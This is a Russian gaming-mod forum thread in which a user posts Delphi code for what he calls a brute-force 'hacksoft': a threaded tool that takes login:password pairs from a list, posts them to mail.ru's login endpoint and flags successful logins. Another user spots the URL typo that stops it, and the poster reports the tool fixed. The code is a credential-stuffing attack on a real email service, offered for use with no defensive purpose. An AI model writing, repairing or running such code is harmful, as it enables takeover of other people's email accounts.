04:50
ОбновитьСмайлыУправление мини-чатом
МИНИ-ЧАТ
Главная страница!

 



 
        
[CLEO] HUDFIX (0)
MyxaChannel 30.11.2016 18:03
GM Car для SAMP (1)
MyxaChannel 30.11.2016 18:00
 





Рекомендуем:
Добавить IP: 88.212.220.148:22003





Последние Файлы GTA 4 Последние Файлы GTA-MP Реклама
Скрипт GTA 4 элементы Watch... 07.09.2014
Ferrari 360 Spider [EPM con... 13.12.2013
Porsche Cayenne Turbo 2012 ... 13.12.2013
Shelby Terlingua Mustang v1... 13.12.2013
Hamann Lamborghini Gallardo... 27.10.2013
Dgun (AvnanceRP,SampRP,Dimo... 19.03.2016
SAMP скрипт SX Events (MySQ... 03.03.2016
Карта ASL мэрия для SAMP се... 03.03.2016
AIM для SA-MP 0.3.7 22.02.2016
Скачать GTA SAMP 0.3.7 - Кл... 20.07.2015
Страница 1 из 11
Модератор форума: Kievskiy, Dima-kun 
Форум SAMP о мультиплеерах для GTA. » Обсуждения других тем » Системы и Сети » [Решено] [Delphi] Нужна помощь
[Решено] [Delphi] Нужна помощь
DiZiДата: Среда, 24.09.2014, 11:19 | Сообщение # 1
Местный
Группа: Продвинутые
Сообщений: 667
Награды: 2
Город: новокузнецк
Репутация: 158
Замечания: 40%
Статус:
Доброго времени суток.
Уважаемые знатоки/кодеры, нужна ваша помощь по delphi.
Суть проблемы:
Пишу хаксофт( брут ), но столкнулся с проблемой, при нажатии кнопки старт вылетает ошибка "A call to an OS function failed" и следовательно программа не работает.

[cut noguest=Код][pwn]procedure Potok.Execute;
var
nast: integer;
Param: TStringList;
TResult: TStringList;
http: TIdHTTP;
begin
inherited;
ShowMessage( '1' );
while startWork do
begin
ShowMessage( '2' );
crSec.Enter;
inc( acc );
ShowMessage( '3' );
if acc < mails.Count then nast:= acc else startWork := false;
crSec.Leave;
ShowMessage( '4' );
if startWork = true then
begin
ShowMessage( '5' );
http:= TIdHTTP.Create( nil );
loginPath := Copy( mails[ nast ], 1, pos( ':', mails[ nast ] ) -1 );
passPath := Copy( mails[ nast ], pos( ':', mails[ nast ] ) +1, length( mails[ nast ] ) );
ShowMessage( '6' );
TResult:= TStringList.Create;
Param:= TStringList.Create;
//Post запрос на mail.ru
//http://www.mail.ru/cgi-bin/auth?Login=your_login&Domain=mail.ru&Password=your_password
ShowMessage( '7' );
Param.Add( 'Login=' +loginPath );
Param.Add( '&Domain=mail.ru&' );
Param.Add( 'Password=' +passPath );
TResult.Text:= http.Post( 'ttp://www.mail.ru/cgi-bin/auth?', Param );

ShowMessage( '8' );
if pos( 'logout', Param.Text ) <> 0 then result:= 1 else result:= -1;
ShowMessage( '9' );
http.Free;
Param.Free;
Synchronize( Sunch );
ShowMessage( '10' );
end;
end;
ShowMessage( '11' );
dec( Tpotok );
if Tpotok = 0 then ShowMessage( 'Готово...' );
end;[/pwn][/cut]

До 8 не доходит "ShowMessage( '8' );"

Буду очень благодарен за помощь.
За ранее спасибо.

PS. Не знал в каком разделе создать тему, по этому создал тут.



======= Мои проекты =======
[GM]Zombie Mod [Разработка][7%]
=======================


=====Мои работы=====
[FS] Auto Menu
[FS] AdminPanel




an21Дата: Среда, 24.09.2014, 14:42 | Сообщение # 2
Уверенный в себе
Группа: Продвинутые
Сообщений: 150
Награды: 1
Город: localhost
Репутация: 233
Замечания: 0%
Статус:
не работаю в дельфи, не разбирался в коде, но ttp?
Цитата DiZi ()
TResult.Text:= http.Post( 'ttp://www.mail.ru/cgi-bin/auth?', Param );



silver break project developer
DiZiДата: Среда, 24.09.2014, 16:22 | Сообщение # 3
Местный
Группа: Продвинутые
Сообщений: 667
Награды: 2
Город: новокузнецк
Репутация: 158
Замечания: 40%
Статус:
Проблему решил, можно закрыть тему.
an21, Да, проблема была именно в этом



======= Мои проекты =======
[GM]Zombie Mod [Разработка][7%]
=======================


=====Мои работы=====
[FS] Auto Menu
[FS] AdminPanel




Dima-kunДата: Среда, 24.09.2014, 16:41 | Сообщение # 4
Группа: Разработчики
Сообщений: 6227
Награды: 72
Репутация: 3329
Замечания: 0%
Статус:
Закрыто.


Мои работы:
[INC] Сборник d_includes [LAST],[FS] New Demage Effect,[FS]Авто-Поворотники,
[FS]mp3player,[FS] Fun Chat Game,[FS] Car Buy Syst,[FS] Anti-AirBrk,[INC] d_setpos,
[GM] Game Move v0.1,[FS+include]Super-Armour [0.3z],[FS + Include] Multi Checkpoints
Форум SAMP о мультиплеерах для GTA. » Обсуждения других тем » Системы и Сети » [Решено] [Delphi] Нужна помощь
Страница 1 из 11
Поиск:





 


 


 
Хостинг от uCoz SAMP-RUS.COM